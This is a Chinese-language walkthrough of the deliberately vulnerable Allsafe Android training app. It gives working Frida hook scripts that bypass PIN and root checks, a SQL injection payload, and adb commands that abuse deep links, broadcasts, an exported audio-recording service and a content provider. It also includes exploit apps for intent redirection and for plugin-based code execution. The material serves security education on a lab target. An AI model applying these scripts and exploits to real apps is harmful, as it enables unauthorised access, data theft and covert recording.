1 Insecure Logging(不安全的日志记录) 1.1 漏洞复现 1 2 3 4 adb shell ps -ef | grep 'allsafe' pidof infosecadventures.allsafe logcat --pid 2153 | grep secret
1.2 漏洞总结 对于该类型的 Android 漏洞挖掘,个人的感觉可以在一些的 app 操作之后将 app 日志进行输出到文件,配合 LLM 等工具进行审计其中是否输出了一些敏感信息然后再进行进一步的判断;
2 Hardcoded Credentials(硬编码凭证) 2.1 漏洞复现 使用jadx
工具对 apk 文件进行反编译进行定位关卡代码内容hardcoded
然后在该类中找到了Body
变量硬编码的 xml 内容,其中包含了关于用户名和密码的硬编码,即superadmin/supersecurepassword
;
2.2 漏洞总结 该类型的漏洞与不安全的日志记录相类似,也是对大量的代码及其信息进行整理判断是否存在敏感信息内容;
这部分的内容可与不安全的日志记录一并使用 LLM 等工具进行审计;首先通过 LLM 工具对源代码进行审计判断,判断是否存在一些固定日志的输出、硬编码配置、明文密钥等内容;后续将固定日志输出、app 运行日志输出一并输入到 LLM 工具中进行审计获取敏感信息内容。
3 Firebase Database(Firebase 数据库) 3.1 漏洞复现 Firebase Database 一般指 Firebase Realtime Database,它是 Google Firebase 提供的一个 实时的 NoSQL 云数据库。
Android 项目使用Firebase Realtime Database
入门教程https://firebase.google.com/docs/android/setup?hl=zh-cn
在这里可以发现基本上都会存在一个google-services.json
配置文件
除此之外,通过信息收集可以指导,对于Firebase Realtime Database
存在的一个比较严重的问题就是规则配置不当,从而导致对数据库的任意访问和写入;
可以用 curl
或任何 HTTP 客户端访问(常用于服务器端脚本或调试):
1 curl 'https://YOUR_DB_NAME.firebaseio.com/users/uid123.json?auth=ID_TOKEN'
1 2 3 4 5 # 覆盖写(PUT) curl -X PUT -d '{"name":"Alice","age":25}' 'https://YOUR_DB_NAME.firebaseio.com/users/uid123.json?auth=ID_TOKEN' # 部分更新(PATCH) curl -X PATCH -d '{"age":26}' 'https://YOUR_DB_NAME.firebaseio.com/users/uid123.json?auth=ID_TOKEN'
注意:ID_TOKEN
可以是 Firebase Auth 登录后获取的 token(短时),或是后端服务使用服务帐号签名得到的受限凭证。不要在公众客户端泄露长时有效的服务端密钥。
通过定位firebaseio.com
可以找到相关的 url 地址
依次定位可以发现
最后发现仅可能的project_id
内容,进行尝试可以发现最后的 flag,其实就是一开始搜索firebaseio.com
,在 xml 文件中的内容;
3.2 漏洞总结 该类型漏洞有点类似与 web 中的组件配置错误漏洞,本质原因在于引入的组件配置不当导致产生的各种问题,对于这类漏洞问题没有非常好挖掘方法。 这类漏洞的发现主要在于自身经验的积累,对组件的熟悉程度,如果对某个组件不了解,不知道它是否存在漏洞,就算看到了也挖不到。
4 Insecure Shared Preferences(不安全的共享首选项) 4.1 漏洞复现 Android中的数据持久化存储有多种方案:SharedPreferences、文件存储、SQLite数据库等,其中SharedPreferences适用于存储少量键值对数据,参考 https://developer.android.com/training/data-storage/shared-preferences
使用SharedPreferences读写数据的代码如下:
1 2 3 4 5 6 SharedPreferences sharedPref = this .getSharedPreferences("test" , Context.MODE_PRIVATE); SharedPreferences.Editor editor = sharedPref.edit(); editor.putString("name" ,"leixiao" ); editor.apply(); Log.d(TAG,sharedPref.getString("name" ,"null" ));
数据会以XML文件形式存储在/data/data/<package_name>/shared_prefs
目录 (需要Root权限查看):
在获取 SharedPreferences 对象时可以指定模式,当指定为MODE_WORLD_READABLE
和MODE_WORLD_WRITEABLE
时,其他应用可以对其数据进行读写,将会造成信息泄露和伪造,这两种模式已经在Android 4.2废弃;
以下是该挑战对应的代码,可以看出采用的是Context.MODE_PRIVATE
的模式获取 SharedPreferences 对象,但是采用明文的方式对用户密码进行存储;
因此,我们可以在/data/data/infosecadventures.allsafe/shared_prefs
发现我们注册的账户密码,导致严重的信息泄露;
4.2 漏洞总结 该漏洞的利用场景在于攻击者使用一个相对应的环境让受害者注册账号,并利用该漏洞将受害者注册的用户名和密码进行保存导致严重后果。
对于该漏洞的挖掘主要关注在数据写入的方式,关注数据是通过什么方式写入服务端或保存在什么位置,观察数据是否存在加密,加密是否存在解密的可能,从这些方面进行漏洞的挖掘。
5 SQL Injection(SQL 注入) 5.1 漏洞复现 通过admin/admin
可以发现输出了 admin 账户存储的账户和 md5 hash 的密码
尝试盲打 sql 注入admin' or 1=1--+/admin' or 1=1--+
,可以发现输出了所有的用户名和 md5 后的密码
来到源码的内容可以发现存在直接拼接的 sql 语句执行,因此导致的 sql 注入漏洞
5.2 漏洞总结 该 sql 注入漏洞为本地 SQLite 数据库进行查询,从而导致的 sql 注入漏洞;通过代码审计查询相关的 sql 语句执行位置观察是否存在 sql 注入的可能性。
6 PIN Bypass(PIN绕过) 6.1 漏洞复现 通过漏洞点定位可以发现关键逻辑在checkPin
函数中,其对输入的 pin 值与硬编码进行 base64 解码进行判断是否一致。
通过解码 base64 的内容可以指导这个 pin 值应该输入4863
;
除此之外,还可以通过 frida hookcheckPin
函数实现任意 pin 值 bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 adb shell su cd /data/local/tmp ./frida-server-16.7 .19 -android-x86_64 adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043 import fridaimport sysimport json def on_message (message, data) : if message.get("type" ) == "send" : print("[JS]" , message.get("payload" )) else : print("[ERR]" , json.dumps(message)) rdev = frida.get_remote_device() session = rdev.attach("allsafe" ) # 替换为目标应用包名 js_template = """ setImmediate(function() { Java.perform(function() { var PinBypass = Java.use("infosecadventures.allsafe.challenges.PinBypass"); // 替换为目标类名 PinBypass.checkPin.overload("java.lang.String").implementation = function(arg) { send("checkPin called with arg: " + arg); var result = this.checkPin(arg); result = true; // 强制返回true send("checkPin returning: " + result); return result; }; }); }); """ script = session.create_script(js_template) script.on("message" , on_message) script.load() print("[*] script loaded. Press Enter to detach and exit." )try : sys.stdin.read()finally : try : session.detach() except Exception: pass print ("[*] detached." )
6.2 漏洞总结 这种漏洞的场景有点类似于注册码,能够通过 hook 等方式进行绕过。 还有就是手机号是否为内部用户认证的场景,只有内部用户才能够发送收集验证码进行登录,可以通过 hook 相关的验证函数进行绕过登录系统;
7 Root Detection(Root 权限检测) 7.1 漏洞复现 通过定位题目实现代码位置可以发现貌似也可以使用 frida hook isRooted
函数实现 Root 权限检测绕过;
直接尝试使用 frida hook 该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import fridaimport sysimport json def on_message (message, data): if message.get ("type" ) == "send" : print ("[JS]" , message.get ("payload" )) else : print ("[ERR]" , json.dumps (message)) rdev = frida.get_remote_device () session = rdev.attach ("allsafe" ) # 替换为目标应用包名 js_template = "" " setImmediate(function() { Java.perform(function() { var RootBeer = Java.use(" com.scottyab .rootbeer .RootBeer "); // 替换为目标类名 RootBeer.isRooted.overload().implementation = function() { var result = this.isRooted(); result = false; // 强制返回false send(" isRooted returning : " + result); return result; }; }); }); " "" script = session.create_script (js_template) script.on ("message" , on_message) script.load ()print ("[*] script loaded. Press Enter to detach and exit." )try : sys.stdin .read ()finally : try : session.detach () except Exception : pass print ("[*] detached." )
除了上述的方法,还可以使用 objection 实现 bypass,其功能与 frida 基本类似。
1 objection -g infosecadventures.allsafe explore --startup-command "android hooking set return_value com.scottyab.rootbeer.RootBeer.isRooted false"
7.2 漏洞总结 对于此类由于函数执行导致的过滤或者其他内容,一般可以采用 frida hook 相关函数进行 bypass。
该场景的内容与 pin bypass 基本一致。
8 Secure Flag Bypass(安全标志绕过) 8.1 漏洞复现 题目说明这是一个对 frida 的练习,并不涉及漏洞。
主要是想说明当前所处界面无法截图,希望我们通过 frida hook 相关内容实现在当前页面能够截图;
定位到 MainActivity 代码
在该处阻止截图/录屏/在最近任务中生成预览,具体内容参考https://developer.android.com/security/fraud-prevention/activities?hl=zh-cn#java,并结合 ai 解析可知通过getWindow().setFlags(0,8192)
即可允许截图;
getWindows()
获取到的Window
是android.view.Window
类型,因此对该类的setFlags()
函数进行 hook 实现允许截图;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import fridaimport sysimport json # ====== 配置====== PACKAGE = "infosecadventures.allsafe" # ================================= def on_message (message, data) : if message.get("type" ) == "send" : print("[JS]" , message.get("payload" )) else : print("[ERR]" , json.dumps(message)) # 选择设备(USB 优先) device = Nonetry : device = frida.get_usb_device(timeout=5 ) except Exception: device = frida.get_remote_device() pid = device.spawn([PACKAGE]) session = device.attach(pid) # JS 模板:hook 单个方法的所有 overloads(或按 SPECIFIC_SIG 精确匹配) js_template = """ setImmediate(function() { Java.perform(function() { var Window = Java.use("android.view.Window"); // 替换为目标类名 Window.setFlags.overload('int','int').implementation = function(flags, mask) { send("setFlags called with flags: " + flags + ", mask: " + mask); flags = flags & (~0x2000) var result = this.setFlags(flags, mask); send("setFlags modified flags to: " + flags); return result; }; }); }); """ script = session.create_script(js_template) script.on("message" , on_message) script.load() device.resume(pid) print("[*] script loaded. Press Enter to detach and exit." )try : sys.stdin.read()finally : try : session.detach() except Exception: pass print ("[*] detached." )
由于这个 Flags 的设置是在程序启动阶段进行的设置,因此这里的 hook 需要采用spawn
方式进行 hook,实现对初始化逻辑的 hook 劫持,允许屏幕截图;
8.2 漏洞总结 该场景是一个典型的必须使用 spawn 劫持类型的场景。因为阻止截图/录屏/在最近任务中生成预览是程序初始化的时候就进行了设置,因此需要通过 spawn 方式劫持初始化阶段的设置;
9 Deep Link Exploitation(深链接利用) 9.1 漏洞复现 Deep Link(深度链接) 是指一种 URL(通常是自定义协议或特定路径的 HTTP/HTTPS 链接),点击后可以直接唤起手机上的某个 App,并跳转到指定的内部页面或执行特定操作;
比如:
普通链接:https://shopping.com
→ 打开浏览器访问网站首页
深度链接:shopping://product/12345
→ 打开购物 App 并直接跳转到商品 ID 为 12345 的页面
1 getString(C1679R.string .key )`指的是返回应用资源文件(res/values /strings.xml)中 R.string .key 对应的文本内容;对应内容位于`res/values /strings.xml
1 <string name ="key" > ebfb7ff0-b2f6-41c8-bef3-4fba17be410c</string >
通过查看代码发现infosecadventures.allsafe.challenges.DeepLinkTask
可以被外部唤起;
且相对应的模式、host 以及路径分别为allsafe
、infosecadventures
、congrats
或者通过 https 进行启动;
结合前面题目相应的代码,获取请求 uri 中的key
参数,判断其内容是否为字符串ebfb7ff0-b2f6-41c8-bef3-4fba17be410c
因此得出最后的启动方法
1 adb shell am start -a android.intent.action.VIEW -d "allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c"
9.2 漏洞总结 对于此类漏洞的检查可以通过查看AndroidManifest.xml
,Activity 是否有<intent-filter>
(通常会包含 <action android:name="android.intent.action.VIEW"/>
和 <data android:scheme="..." .../>
如果有,通常是可被外部唤起的。然后尝试用 adb
发起 VIEW Intent(替换 scheme/host/path);
判断漏洞存在的关键条件:
Activity 对外暴露:manifest 包含 intent-filter 或 android:exported=”true”。
能通过 URL 传入 key 参数(例如 ?key=…)并被直接使用。
没有登录/会话等额外验证 —— 只凭该参数就完成敏感操作。
资源中的 key 可被反编译/读取,或 key 为静态可猜测值。
10 Insecure Broadcast Receiver(不安全的广播接收器) 10.1 漏洞复现 BroadcastReceiver 用于接收 Intent 广播(系统或应用发出的消息)。它可以在 manifest 中声明(静态注册),也可以在代码里动态注册(registerReceiver)。如果未正确配置或校验输入,广播是个很容易被滥用的攻击面,因为任意应用可以发送 Intent 与之交互(除非有权限或显式目标)。
定位到该题目的相关代码中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class InsecureBroadcastReceiver extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(C1679R.layout.fragment_insecure_broadcast_receiver, container, false ); final TextInputEditText note = (TextInputEditText) view.findViewById(C1679R.id.note); Button save = (Button) view.findViewById(C1679R.id.save); save.setOnClickListener(new View.OnClickListener() { @Override public final void onClick(View view2) { this .f$0. lambda$onCreateView$0 (note, view2); } }); return view; } public void lambda$onCreateView$0 (TextInputEditText note, View v) { if (!note.getText().toString().isEmpty()) { Intent intent = new Intent(); intent.setAction("infosecadventures.allsafe.action.PROCESS_NOTE" ); intent.putExtra("server" , "prod.allsafe.infosecadventures.io" ); intent.putExtra("note" , note.getText().toString()); intent.putExtra("notification_message" , "Allsafe is processing your note..." ); PackageManager packageManager = requireActivity().getPackageManager(); List<ResolveInfo> resolveInfos = packageManager.queryBroadcastReceivers(intent, 0 ); for (ResolveInfo info : resolveInfos) { ComponentName cn = new ComponentName(info.activityInfo.packageName, info.activityInfo.name); intent.setComponent(cn); requireActivity().sendBroadcast(intent); } SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Saving note..." ); return ; } SnackUtil.INSTANCE.simpleMessage(requireActivity(), "The note field can't be empty!" ); } }
代码先用 queryBroadcastReceivers(intent, 0)
列出所有能够处理 infosecadventures.allsafe.action.PROCESS_NOTE
的 receiver
,然后对每个 ResolveInfo 调用 intent.setComponent(cn)
并 sendBroadcast(intent)
。也就是说:任何安装了注册相同 action 的第三方 app 都会收到包含 note、server 等 extras 的 Intent。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.receiver4allsafe;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;import java.util.Objects;public class EvilReceiver extends BroadcastReceiver { @Override public void onReceive (Context context, Intent intent) { if (Objects.equals(intent.getAction(), "infosecadventures.allsafe.action.PROCESS_NOTE" )){ String server = intent.getStringExtra("server" ); String note = intent.getStringExtra("note" ); String msg = intent.getStringExtra("notification_message" ); Log.i("EvilReceiver" , "Received: server=" + server + ", note=" + note + ", msg=" + msg); } } }
除了上述通过自己写的广播接收器接收来自 allsafe 的通知以外,我们还可以通过构建显示广播实现伪造通知
1 adb shell am broadcast -n infosecadventures.allsafe/.challenges.NoteReceiver --es server "prod.allsafe.infosecadventures.io" --es note "POC" --es notification_message "hello everyone"
10.2 漏洞总结 广播通知目前看到的两个类型的漏洞,一个是通过自定义的广播接收器接收来自软件泄露的通知信息导致的信息泄露;另一个是伪造通知信息,导致 dos 攻击等;
11 Vulnerable WebView(易受攻击的 WebView) 11.1 漏洞复现 WebView是App中的一个核心组件,简单来说就是一个内置的浏览器
1 <Img/Src/OnError=alert(1 )>
定位到该靶场的代码进行分析可以看到
可以发现该 WebView 即允许 JavaScript 也允许本地文件访问;因此导致了 XSS 漏洞和 SSRF 漏洞的产生;
11.2 漏洞总结 这个漏洞就与 Web 的基础漏洞及其的相似了,按照 Web 漏洞的测试方法进行测试即可;
12 certificate Pinning(证书锁定) 12.1 漏洞复现 直接把 bp 的证书安装到系统证书目录即可;能够通过这种方法解决的问题,基本上都不算问题;
因此不打算再这个问题上进行深入研究,还有其他的方法能够解决这个问题。
12.2 漏洞总结 证书安装的问题,安装到系统目录即可;当然还有一些其他的情况,即使证书安装了依旧无法正常抓包,这是就需要通过别的手段进行 bypass 了,这个后面再做研究进行分享。
13 Weak Cryptography(弱密码学) 这题也是再考察 hook 方法的内容,之前写了不少了,不想写了,就这样吧,而且就算是考察逆向加密方法获取加密密钥等内容也是比较容易的,源码里边也有;所以这个跳过吧。s
14 Insecure Service(不安全的服务) 14.1 漏洞复现 Service是Android的四大组件之一,是实现程序后台运行的解决方案,适合执行不需要和用户交互而且还要求长期运行的任务,但Service并不是运行在一个独立的进程当中的,而是依赖于创建Service时所在的应用程序进程。而且Service并不会自动开启线程,所有的代码都是默认运行在主线程当中。
在当前环境中的问题在于该服务是对外暴露的,即允许 其他应用程序(不同包名的 App) 通过 Intent 调用或绑定这个组件。
因此攻击者可以触发靶场 App 内的 Service 来开始录音(Service 在靶场进程中运行,使用靶场 App 的权限和上下文),录下环境音/用户对话。
1 2 3 4 5 6 7 8 adb shell am startservice -n infosecadventures.allsafe/infosecadventures.allsafe.challenges.RecorderService adb shell am startservice -n infosecadventures.allsafe/.challenges.RecorderServicefor i in $(seq 1 6); do adb shell am startservice -n infosecadventures.allsafe/.challenges.RecorderService sleep 2done
这里按道理来说应该是有一个 flag 的,但是我死活没找到,大哥们教教我
14.2 漏洞总结 对于此类漏洞针对与服务中是否存在一些错误配置
解析 AndroidManifest,定位 Service
:关注 android:exported
、intent-filter
、android:permission
;反编译查看服务实现是否有敏感操作或写公共目录。
用 adb shell am startservice
/ bindservice
触发服务;用 logcat、文件系统检查结果(/sdcard/Download 等)。
传入不同 extras、循环触发以绕过短时限制、拉取产出文件做证据。
15 Object Serialization(对象序列化) 15.1 漏洞复现 这个环境中主要存在的问题是数据本地存储和对象序列化问题,由于数据本地存储,因此我们可以实现对数据的任意修改;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 package infosecadventures.allsafe.challenges;import android.os.Bundle;import android.text.Editable;import android.util.Log;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast;import androidx.fragment.app.Fragment;import com.google.android.material.textfield.TextInputEditText;import infosecadventures.allsafe.C1679R;import infosecadventures.allsafe.utils.SnackUtil;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.util.Objects;public class ObjectSerialization extends Fragment { @Override public View onCreateView (LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(C1679R.layout.fragment_object_serialization, container, false ); final TextInputEditText username = (TextInputEditText) view.findViewById(C1679R.id.username); final TextInputEditText password = (TextInputEditText) view.findViewById(C1679R.id.password); Button save = (Button) view.findViewById(C1679R.id.save); Button load = (Button) view.findViewById(C1679R.id.load); final String path = requireActivity().getExternalFilesDir(null ) + "/user.dat" ; save.setOnClickListener(new View .OnClickListener() { @Override public final void onClick (View view2) throws IOException { this .f$0. lambda$onCreateView$0 (username, password, path, view2); } }); load.setOnClickListener(new View .OnClickListener() { @Override public final void onClick (View view2) throws IOException { this .f$0. lambda$onCreateView$1 (path, view2); } }); return view; } public void lambda$onCreateView$0 (TextInputEditText username, TextInputEditText password, String path, View v) throws IOException { if (!((Editable) Objects.requireNonNull(username.getText())).toString().isEmpty() && !((Editable) Objects.requireNonNull(password.getText())).toString().isEmpty()) { User user = new User (username.getText().toString(), password.getText().toString()); try { File file = new File (path); FileOutputStream fos = new FileOutputStream (file); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(user); oos.close(); fos.close(); } catch (IOException e) { Log.d("ALLSAFE" , e.getLocalizedMessage()); } SnackUtil.INSTANCE.simpleMessage(requireActivity(), "User data successfully saved!" ); return ; } SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Fill out the fields!" ); } public void lambda$onCreateView$1 (String path, View v) throws IOException { if (new File (path).exists()) { try { File file = new File (path); FileInputStream fis = new FileInputStream (file); ObjectInputStream ois = new ObjectInputStream (fis); User user = (User) ois.readObject(); ois.close(); fis.close(); if (!user.role.equals("ROLE_EDITOR" )) { SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Sorry, only editors have access!" ); } else { SnackUtil.INSTANCE.simpleMessage(requireActivity(), "Good job!" ); Toast.makeText(requireContext(), user.toString(), 0 ).show(); } return ; } catch (IOException | ClassNotFoundException e) { Log.d("ALLSAFE" , e.getLocalizedMessage()); return ; } } SnackUtil.INSTANCE.simpleMessage(requireActivity(), "File not found!" ); } public static class User implements Serializable { String password; String role = "ROLE_AUTHOR" ; String username; public User () { } public User (String username, String password) { this .username = username; this .password = password; } public String toString () { return "User{username='" + this .username + "', password='" + this .password + "', role='" + this .role + "'}" ; } } }
final String path = requireActivity().getExternalFilesDir(null) + "/user.dat";
所指的位置是/storage/emulated/0/Android/data/infosecadventures.allsafe/files/user.dat
,因此我们可以通过 java 重新生成相应的序列化文件,并且将相应的角色修改为ROLE_EDITOR
,从而实现绕过其角色检测;
有一点 Java 反序列化基础的应该都会了,这里就不继续深入了(本人太懒了)
15.2 漏洞总结 比较类似于 java 反序列化,还有存在 Java 反序列化 rce 的可能性;
16 Insecure Providers(不安全的提供者) 16.1 漏洞复现 通过DataProvider
类定位到此处可以发现该类为导出的,直接可供外部应用查询;
直接通过adb
即可查询
1 adb shell content query --uri "content://infosecadventures.allsafe.dataprovider"
FileProvider
把 app 内/外部文件暴露为 content://
URI 且 grantUriPermissions="true"
;ProxyActivity
会直接 startActivity( (Intent) getIntent().getParcelableExtra("extra_intent") )
。如果你能向 ProxyActivity
传入一个包含可读 **content://**
URI 且带有授权标志 的内层 Intent,目标 App 会以自己的身份去启动该 Intent,从而可能访问/泄露该 content://
指向的文件或唤起处理该 URI 的组件(实现文件读取/信息泄露或跨组件滥用)
具体实现方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.example.ip4fileprovider;import android.content.ComponentName;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.widget.Button;import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity;public class MainActivity extends AppCompatActivity { private static final String TARGET_PACKAGE = "infosecadventures.allsafe" ; private static final String TARGET_PROXY_ACTIVITY = "infosecadventures.allsafe.ProxyActivity" ; private static final String CONTENT_URI = "content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt" ; @Override public void onCreate (@Nullable Bundle savedInstanceState) { super .onCreate(savedInstanceState); Button button = new Button (this ); button.setText("Trigger ProxyActivity" ); setContentView(button); button.setOnClickListener(v -> triggerProxy()); } private void triggerProxy () { try { Intent inner = new Intent (Intent.ACTION_VIEW); inner.setData(Uri.parse(CONTENT_URI)); inner.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); Intent wrapper = new Intent (); wrapper.putExtra("extra_intent" , inner); wrapper.setComponent(new ComponentName (TARGET_PACKAGE, TARGET_PROXY_ACTIVITY)); startActivity(wrapper); } catch ( Exception e){ e.printStackTrace(); } } }
16.2 漏洞总结 本次包含两个类型的漏洞,第一个 DataProvider 纯纯是因为导出组件导致的;第二个主要是由于允许其他应用通过Intent
获得资源访问权限以及ProxyActivity
的存在导致的;
17 Arbitrary Code Execution(任意代码执行) 17.1 漏洞复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public final class ArbitraryCodeExecution extends Application { @Override public void onCreate () throws IllegalAccessException, IllegalArgumentException, InvocationTargetException { super .onCreate(); AppCompatDelegate.setDefaultNightMode(2 ); invokePlugins(); invokeUpdate(); } private final void invokePlugins () throws IllegalAccessException, IllegalArgumentException, InvocationTargetException { for (PackageInfo packageInfo : getPackageManager().getInstalledPackages(0 )) { String packageName = packageInfo.packageName; Intrinsics.checkNotNullExpressionValue(packageName, "packageName" ); if (StringsKt.startsWith$default (packageName, "infosecadventures.allsafe" , false , 2 , (Object) null )) { try { Context packageContext = createPackageContext(packageName, 3 ); packageContext.getClassLoader().loadClass("infosecadventures.allsafe.plugin.Loader" ).getMethod("loadPlugin" , new Class [0 ]).invoke(null , new Object [0 ]); } catch (Exception e) { } } } } private final void invokeUpdate () throws IllegalAccessException, IllegalArgumentException, InvocationTargetException { try { File file = new File ("/sdcard/" + Environment.DIRECTORY_DOWNLOADS + "/allsafe_updater.apk" ); if (file.exists() && file.isFile()) { DexClassLoader dexClassLoader = new DexClassLoader (file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null , getClassLoader()); Object objInvoke = dexClassLoader.loadClass("infosecadventures.allsafe.updater.VersionCheck" ).getDeclaredMethod("getLatestVersion" , new Class [0 ]).invoke(null , new Object [0 ]); Intrinsics.checkNotNull(objInvoke, "null cannot be cast to non-null type kotlin.Int" ); int version = ((Integer) objInvoke).intValue(); if (Build.VERSION.SDK_INT < version) { Toast.makeText(this , "Update required!" , 1 ).show(); } } } catch (Exception e) { } } }package infosecadventures.allsafe.plugin;import android.os.Bundle;import android.util.Log;import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity;public class Loader extends AppCompatActivity { @Override protected void onCreate (@Nullable Bundle savedInstanceState) { super .onCreate(savedInstanceState); } public static void loadPlugin () { Log.d("exec123456789" , "=======================================================" ); try { Log.d("exec1234567890" , new java .util.Scanner(Runtime.getRuntime().exec("id" ).getInputStream()).useDelimiter("\\A" ).next()); } catch (Exception e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package infosecadventures.allsafe.updater;import android.os.Bundle;import android.util.Log;import androidx.annotation.Nullable;import androidx.appcompat.app.AppCompatActivity;public class VersionCheck extends AppCompatActivity { @Override protected void onCreate (@Nullable Bundle savedInstanceState) { super .onCreate(savedInstanceState); } public static void getLatestVersion () { Log.d("exec1234567890" , "=========================================" ); try { Log.d("exec1234567890" , new java .util.Scanner(Runtime.getRuntime().exec("id" ).getInputStream()).useDelimiter("\\A" ).next()); }catch (Exception e){ e.printStackTrace(); } } }
17.2 漏洞总结 额,没啥好说的。
18 Native Library(本地库) 就这样 frida 在那样 hook,就可以辣。
步骤一样,只不过变成了 hook 本地 so 文件了而已;
19 Smali Patching(Smali 补丁) 根据题目要求需要让以后的判断成立即可
参考链接
https://github.com/t0thkr1s/allsafe-android
https://xz.aliyun.com/news/16361
https://www.cnblogs.com/Siestazzz/p/18889662